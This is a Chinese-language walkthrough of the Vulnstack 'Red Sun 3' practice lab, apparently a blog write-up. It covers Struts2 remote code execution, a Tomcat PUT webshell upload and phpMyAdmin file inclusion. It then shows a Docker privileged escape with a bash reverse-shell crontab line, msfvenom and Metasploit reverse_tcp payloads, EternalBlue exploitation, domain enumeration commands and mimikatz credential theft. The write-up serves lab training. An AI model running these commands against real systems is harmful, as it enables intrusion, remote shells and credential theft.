红日靶场(三)环境有点问题,后面在补。
1. 下载好镜像文件,下载地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ (18G,需要百度网盘会员)
2. 网络配置:创建两个子网vmnet0和vmnet1
vmnet1:192.168.183.0
3.网卡设置
我们可以看到是ovf文件,我们需要导入到vm中
导入的时间比较长
我们对网卡进行设置
DC主机网卡设置
Win7网卡设置
4.三个主机密码
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008(登录之后提示修改密码)
建议重新安装一下Vmware Tools
5.三个主机的ip地址如下:
Dc
Web主机(ubuntu)
Win7
6. WEB-Ubuntu docker开启
sudo docker start ec 17 09 bb da 3d ab ad
环境搭建完成
1.信息收集
我们使用nmap进行扫描
端口分别对应:ssh、strust2、tomcat、phpmyadmin
2.漏洞利用
1) struts2_045
我们使用工具扫描http://192.168.44.136:2001/,存在
直接执行命令反弹shell
先使用nc进行监听,然后点击执行1,才会成功getshell
2)tomcat
nikto扫描一下tomcat 发现允许put和delete方法
GET改为PUT,添加文件/MS02423.jsp/,写入数据MS,访问url:
我们使用哥斯拉上传木马
我们把木马放到burp,然后使用哥斯拉进行连接
我们可以看到连接成功
3)phpmyadmin
phpmyadmin 版本为4.8.1,考虑使用CVE-2018-12613 文件包含漏洞
http://192.168.44.136:2003/?target=tbl_zoom_select.php?/../../../../../../etc/passwd
利用session文件创建shell,在test库中新建表, 写个一句话木马
查看session 3518212f11ae9114dedeed4d0029eb67
成功执行
未连接成功一句话木马
3. docker逃逸
在攻防中,拿到webshell后,发现自己是在docker容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。
检测是否在docker中
ls -alh /.dockerenv
cat /proc/1/cgroup
发现当前属于docker环境
利用特权模式逃逸 参考文章: 宸极实验室—『杂项』Docker 逃逸方法汇总 - 知乎
privileged特权模式启动容器逃逸
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。
1) 拉取一个镜像,在启用时使用--privileged。
docker pull ubuntu:16.04
docker run -itd --privileged ubuntu:16.04 /bin/bash
2) 判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff。
3)在docker容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。
fdisk -l
mkdir /MS
mount /dev/sda5 /MS
4) 首先在kali中使用nc监听,进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。
touch /MS/MS.sh
echo "bash -i >& /dev/tcp/192.168.44.136/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /MS.sh" >> /hacker/etc/crontab
5) 返回到kali中进行查看,不知道什么原因,没有成功
1.msf(红日1里面讲过)
1)这里我们把windwos换成liunx就可以了
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.44.130 LPORT=4444 -f elf > shell.elf
2) kali监听
use exploit/multi/handler
set lhost 192.168.44.130
set payload linux/x86/meterpreter/reverse_tcp
run
3)进行一波存活扫描
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run
肉眼可见的两台129,130,算上之前的128,一共三台域内服务器
2. 横向渗透
1)永恒之蓝扫描一下,129,130都有ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.129-130
run
2)我们对130主机进行攻击,使用永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 4444
set AutoRunScript post/windows/manage/migrate // 自动迁移进程
run
3)我们进行提权
4) 这样就拿到了这个域成员的SYSTEM,按照惯例,信息收集一波
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
5) 经过信息收集,下一步目标就是183.130这台服务器,用mimikatz或者kiwi模块拿密码
进程迁移
6)我们进行远程登录即可